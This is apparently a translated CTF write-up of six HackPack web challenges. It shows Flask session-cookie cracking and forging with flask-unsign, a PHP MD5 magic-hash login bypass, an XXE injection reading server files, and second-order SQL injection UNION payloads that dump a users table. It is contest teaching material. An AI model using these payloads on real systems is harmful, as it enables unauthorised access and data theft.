https://ctftime.org/event/1036
👉 Japanese Version
Cookie Forge | 100pt | 114/418 |
---|---|---|
Treasure Map | 100pt | 356/418 |
Super Secret Flag Vault | 100pt | 324/418 |
Paster | 100pt | 155/418 |
Custom UI | 211pt | 86/418 |
Online Birthday Party | 316pt | 69/418 |
I solved it after ending the contest.
Cookie Forge
Help a new local cookie bakery startup shake down their new online ordering and loyalty rewards portal at https://cookie-forge.cha.hackpack.club!
I wonder if they will sell you a Flask of milk to go with your cookies…
I tried guest:guest and got in with one shot.
I’ll take a look at the cookies.
It’s a JWT.
There is a setting called flagship.
If you press Flagship Loyalty
in the menu, you will get You aren't a Flagship Loyalty Member! No cookies for you!!
.
It would be good if the flagship was true.
It doesn’t seem to work even if you set alg to none.
---- I saw the writeup ----
It was password analysis…
Looking at the writeup, I can learn “flusk-unsign”.
flask-unsign -c "eyJmbGFnc2hpcCI6ZmFsc2UsInVzZXJuYW1lIjoiZ3Vlc3QifQ.XqmdeQ.hFE97UZPXYUDDcApFB1b48Uq1MQ" --unsign
It seems that the password is password1
.
flask-unsign --sign --secret password1 --cookie "{'flagship': True, 'username': 'guest'}"
I remade it with this and put it in the cookie.
Reference
Treasure Map
Hmm, do pirates really think they can hide a treasure without us knowing? Find the treasure and prove they are wrong. Check here: https://treasure-map.cha.hackpack.club/
There’s a FLAG in there somewhere, so look for it.
The hint says to look for the MAP.
There is no information in the source code, but if you go to /robots.txt
, you will find Sitemap: /treasuremap.xml
.
1 | <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> |
OK. /7BmqJfhWhEa30NeVj7j2.html
When you get there, there’s a flag written on it.
Super Secret Flag Vault
See if you can get into the super secret flag vault! I have used the latest and greatest techniques with php to make sure you cant get past my vault.
Take me to the Vault (with an attachment
https://super-secret-flag-vault.cha.hackpack.club/
I guess entering the cipher will open the safe and give you the flag.
If you look at the source code, you’ll see that passwords are hashed internally.
It starts with 0e
, which is a famous hash.
It is the Magic Hash of PHP.
When a password is hashed with MD5, the beginning of the password may be 0e
by chance.
The comparison of MD5 hashes is weak==, so "0e?????"=="0e??????"
is true.
Therefore, MD5 should be hashed and the input should start with 0e.
An example is QNKCDZO
.
If you put this in, you get a flag.
Paster
Come and BETA Test our new social networking site. Its like twitter but shorter
Go checkout Paster now
https://paster.cha.hackpack.club/
Even if you type it in, it seems to be limited to 22 characters.
The tweets seem to be outputting at random, but I’m not sure.
If you look at the source code, it’s an iframe, so let’s look at /frames/index.php
.
It also refers to js, so let’s look at /frames/game-frame.js
.
Ugh…
This is an obfuscation form called JSFuck, which can be unobfuscated by here.
1 | parent.postMessage(window.location.toString(), "*"); |
flag = atob("ZmxhZ3t4NTVfaTVOdF83aEE3X2JBRF9SMUdoNz99")
There’s one that looks like it, so I’ll take a look at the contents.
Custom UI
How often do you visit the website just to bounce back because of bad design? Now we developed a new feature, which gives you the ability to change the design! Check out a new feature: https://custom-ui.cha.hackpack.club/
It looks like you can insert the parameters you entered.
I’m going to pass the parameters of <
, which seems to be abnormal.
1 | Warning: DOMDocument::loadXML(): StartTag: invalid element name in Entity, line: 1 in /var/www/html/index.php on line 12 |
Oh, they’re using an xml parser internally.
I tried putting it in at random, but it doesn’t work. If you look at the code, it says something in post.js
.
Each time the form is filled in, HTML is written to be inserted into the value of the xdata tag that is hidden.
If you put html directly here, it seems to be reflected. Put the payload directly here.
1 | <button><color>ffffff</color><value>&xxe;</value></button> |
That’s good. I don’t see anything in particular that bothers me.
Look for payloads that can be used at PayloadsAllTheThings.
I see, you can use that thing in the php protocol to extract the data.
Just know that there is an index.php from the error, so you can get it out.
1 | <button><color>ffffff</color><value>&xxe;</value></button> |
It says echo "<!-- TODO: Delete flag.txt from /etc/ -->";
.
1 | <button><color>ffffff</color><value>&xxe;</value></button> |
Online Birthday Party
This pandemic hit everybody hard. Especially, those who want to make a birthday party. That is why we decided to create a website where you can find those who have the same birthdate as yours. Check it out: https://online-birthday-party.cha.hackpack.club/
Investigation
A site where you can see people with the same birthday.
- Site Information
/index.php
Top page/account.php
You can log in or register./profile.php
Pages that appear after login- GET requests don’t response anything.
- POST requests show users with the same birthday.
- The HTTP response shows that
Apache/2.4.29
is used.- It seems to be able to do RCE, but it can’t upload files.
- Cookie
PHPSESSID
Session ID; no HttpOnly, Secure, or SameSite settings are included._7341c
http://192.168.181.16:41721/
is in there. I don’t know.
- The birthday part of the new registration
- They must be using this to search, since they are putting out the same users on the same birthday.- I suspect that SQLi can do.
SQL Injection
Change the birthday part of the new registration response to '
with burp.
Now, when I look at the screen that looks for users with the same birthday…
OK! It looks like you can do SQLi.
He even politely showed me his query.
I tried it with a'#
and the query succeeded.
The DB looks like MySQL.
Note that if you display it normally, you will get confused because other people are trying XSS.
(Or rather, aren’t we under attack?) )
Try to stop the response in burp and check the raw response as well.
a' UNION SELECT DISTINCT TABLE_NAME, null from INFORMATION_SCHEMA.COLUMNS #
1 | CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,OPTIMIZER_TRACE,PARAMETERS,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLESPACES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,INNODB_LOCKS,INNODB_TRX,INNODB_SYS_DATAFILES,INNODB_FT_CONFIG,INNODB_SYS_VIRTUAL,INNODB_CMP,INNODB_FT_BEING_DELETED,INNODB_CMP_RESET,INNODB_CMP_PER_INDEX,INNODB_CMPMEM_RESET,INNODB_FT_DELETED,INNODB_BUFFER_PAGE_LRU,INNODB_LOCK_WAITS,INNODB_TEMP_TABLE_INFO,INNODB_SYS_INDEXES,INNODB_SYS_TABLES,INNODB_SYS_FIELDS,INNODB_CMP_PER_INDEX_RESET,INNODB_BUFFER_PAGE,INNODB_FT_DEFAULT_STOPWORD,INNODB_FT_INDEX_TABLE,INNODB_FT_INDEX_CACHE,INNODB_SYS_TABLESPACES,INNODB_METRICS,INNODB_SYS_FOREIGN_COLS,INNODB_CMPMEM,INNODB_BUFFER_POOL_STATS,INNODB_SYS_COLUMNS,INNODB_SYS_FOREIGN,INNODB_SYS_TABLESTATS,users |
Well, there’s a lot going on, but users is fine.
a' UNION SELECT COLUMN_NAME, null FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'users' #
1 | id,username,password,bday |
Let’s take a look at them two at a time.
a' UNION SELECT id, username FROM users #
There is nothing to worry about.
a' UNION SELECT password, bday FROM users #
flag{c0mpl1cat3d_2nd_0rd3r_sql}
Capture the flag.